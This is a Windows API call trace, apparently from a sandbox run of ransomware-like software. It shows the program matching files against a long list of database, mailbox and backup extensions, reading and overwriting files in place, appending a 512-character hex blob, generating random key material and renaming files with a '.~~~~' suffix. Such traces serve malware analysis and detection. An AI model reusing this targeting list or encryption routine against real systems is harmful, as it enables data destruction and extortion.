	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
	[0063.246] ReadFile (in: hFile=0x110, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0063.918] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.918] WriteFile (in: hFile=0x110, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0063.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0063.920] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.920] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0063.920] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0063.920] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0063.920] CloseHandle (hObject=0x110) returned 1
	[0063.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x39ec68
	[0063.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.~~~~")) returned 1
	[0063.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0063.922] GetLastError () returned 0x0
	[0063.922] SetLastError (dwErrCode=0x0) 
	[0063.922] GetLastError () returned 0x0
	[0063.922] SetLastError (dwErrCode=0x0) 
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eb738 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e9f8 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e888 | out: hHeap=0x300000) returned 1
	[0063.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e940 | out: hHeap=0x300000) returned 1
	[0063.923] RtlWakeConditionVariable () returned 0x365f70
	[0063.923] GetCurrentThreadId () returned 0x9cc
	[0063.923] GetCurrentThreadId () returned 0x9cc
	[0063.923] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.958] GetCurrentThreadId () returned 0x9cc
	[0063.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ed18
	[0063.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e698 | out: hHeap=0x300000) returned 1
	[0063.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0063.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e698
	[0063.958] lstrlenW (lpString=".scr") returned 4
	[0063.958] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".scr") returned 0x0
	[0063.958] lstrlenW (lpString=".cmd") returned 4
	[0063.958] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".cmd") returned 0x0
	[0063.958] lstrlenW (lpString=".dll") returned 4
	[0063.958] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dll") returned 0x0
	[0063.958] lstrlenW (lpString=".bat") returned 4
	[0063.958] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".bat") returned 0x0
	[0063.958] lstrlenW (lpString=".cpl") returned 4
	[0063.958] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".cpl") returned 0x0
	[0063.958] lstrlenW (lpString=".sys") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".sys") returned 0x0
	[0063.960] lstrlenW (lpString=".msc") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".msc") returned 0x0
	[0063.960] lstrlenW (lpString=".com") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".com") returned 0x0
	[0063.960] lstrlenW (lpString=".lnk") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".lnk") returned 0x0
	[0063.960] lstrlenW (lpString=".msp") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".msp") returned 0x0
	[0063.960] lstrlenW (lpString=".pif") returned 4
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".pif") returned 0x0
	[0063.960] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0063.960] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0064.046] lstrlenW (lpString=".sqb") returned 4
	[0064.046] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".sqb") returned 0x0
	[0064.047] lstrlenW (lpString=".ost") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".ost") returned 0x0
	[0064.047] lstrlenW (lpString=".txt") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".txt") returned 0x0
	[0064.047] lstrlenW (lpString=".mdt") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".mdt") returned 0x0
	[0064.047] lstrlenW (lpString=".BDB") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".BDB") returned 0x0
	[0064.047] lstrlenW (lpString=".eql") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".eql") returned 0x0
	[0064.047] lstrlenW (lpString=".DBF") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DBF") returned 0x0
	[0064.047] lstrlenW (lpString=".EQL") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".EQL") returned 0x0
	[0064.047] lstrlenW (lpString=".FDB") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".FDB") returned 0x0
	[0064.047] lstrlenW (lpString=".EDB") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".EDB") returned 0x0
	[0064.047] lstrlenW (lpString=".DACPAC") returned 7
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0064.047] lstrlenW (lpString=".VHD") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".VHD") returned 0x0
	[0064.047] lstrlenW (lpString=".DBV") returned 4
	[0064.047] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DBV") returned 0x0
	[0064.048] lstrlenW (lpString=".dacpac") returned 7
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dacpac") returned 0x0
	[0064.048] lstrlenW (lpString=".sdf") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".sdf") returned 0x0
	[0064.048] lstrlenW (lpString=".accdb") returned 6
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".accdb") returned 0x0
	[0064.048] lstrlenW (lpString=".DBX") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DBX") returned 0x0
	[0064.048] lstrlenW (lpString=".MDT") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".MDT") returned 0x0
	[0064.048] lstrlenW (lpString=".SQB") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".SQB") returned 0x0
	[0064.048] lstrlenW (lpString=".vhd") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".vhd") returned 0x0
	[0064.048] lstrlenW (lpString=".bac") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".bac") returned 0x0
	[0064.048] lstrlenW (lpString=".mdf") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".mdf") returned 0x0
	[0064.048] lstrlenW (lpString=".BAK") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".BAK") returned 0x0
	[0064.048] lstrlenW (lpString=".BAC") returned 4
	[0064.048] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".BAC") returned 0x0
	[0064.048] lstrlenW (lpString=".dbs") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dbs") returned 0x0
	[0064.049] lstrlenW (lpString=".vhdx") returned 5
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".vhdx") returned 0x0
	[0064.049] lstrlenW (lpString=".NDF") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".NDF") returned 0x0
	[0064.049] lstrlenW (lpString=".dat") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dat") returned 0x0
	[0064.049] lstrlenW (lpString=".DBS") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DBS") returned 0x0
	[0064.049] lstrlenW (lpString=".CKP") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".CKP") returned 0x0
	[0064.049] lstrlenW (lpString=".edb") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".edb") returned 0x0
	[0064.049] lstrlenW (lpString=".PST") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".PST") returned 0x0
	[0064.049] lstrlenW (lpString=".dbf") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dbf") returned 0x0
	[0064.049] lstrlenW (lpString=".SQL") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".SQL") returned 0x0
	[0064.049] lstrlenW (lpString=".pst") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".pst") returned 0x0
	[0064.049] lstrlenW (lpString=".dbv") returned 4
	[0064.049] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dbv") returned 0x0
	[0064.049] lstrlenW (lpString=".SDF") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".SDF") returned 0x0
	[0064.050] lstrlenW (lpString=".dtxs") returned 5
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dtxs") returned 0x0
	[0064.050] lstrlenW (lpString=".db3") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".db3") returned 0x0
	[0064.050] lstrlenW (lpString=".OST") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".OST") returned 0x0
	[0064.050] lstrlenW (lpString=".dbx") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dbx") returned 0x0
	[0064.050] lstrlenW (lpString=".DB3") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DB3") returned 0x0
	[0064.050] lstrlenW (lpString=".DAT") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DAT") returned 0x0
	[0064.050] lstrlenW (lpString=".VHDX") returned 5
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".VHDX") returned 0x0
	[0064.050] lstrlenW (lpString=".ndf") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".ndf") returned 0x0
	[0064.050] lstrlenW (lpString=".DB") returned 3
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DB") returned 0x0
	[0064.050] lstrlenW (lpString=".sql") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".sql") returned 0x0
	[0064.050] lstrlenW (lpString=".MYD") returned 4
	[0064.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".MYD") returned 0x0
	[0064.050] lstrlenW (lpString=".DBT") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DBT") returned 0x0
	[0064.051] lstrlenW (lpString=".ACCDB") returned 6
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0064.051] lstrlenW (lpString=".fdb") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".fdb") returned 0x0
	[0064.051] lstrlenW (lpString=".bak") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".bak") returned 0x0
	[0064.051] lstrlenW (lpString=".myd") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".myd") returned 0x0
	[0064.051] lstrlenW (lpString=".DTXS") returned 5
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".DTXS") returned 0x0
	[0064.051] lstrlenW (lpString=".ckp") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".ckp") returned 0x0
	[0064.051] lstrlenW (lpString=".dbt") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".dbt") returned 0x0
	[0064.051] lstrlenW (lpString=".db") returned 3
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".db") returned 0x0
	[0064.051] lstrlenW (lpString=".TXT") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".TXT") returned 0x0
	[0064.051] lstrlenW (lpString=".MDF") returned 4
	[0064.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".MDF") returned 0x0
	[0064.052] lstrlenW (lpString=".bdb") returned 4
	[0064.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".bdb") returned 0x0
	[0064.052] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0064.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0064.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa698
	[0064.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0064.052] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0064.053] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0064.053] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0064.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0064.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0064.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a3028
	[0064.054] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18404375244) returned 1
	[0064.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x936a5f30, dwHighDateTime=0x1d60e1e)) 
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd20
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0064.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0064.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e67d8
	[0064.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0064.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e750
	[0064.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0064.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0064.207] GetLastError () returned 0x0
	[0064.207] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.208] GetLastError () returned 0x0
	[0064.208] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] GetLastError () returned 0x0
	[0064.209] SetLastError (dwErrCode=0x0) 
	[0064.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e750 | out: hHeap=0x300000) returned 1
	[0064.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
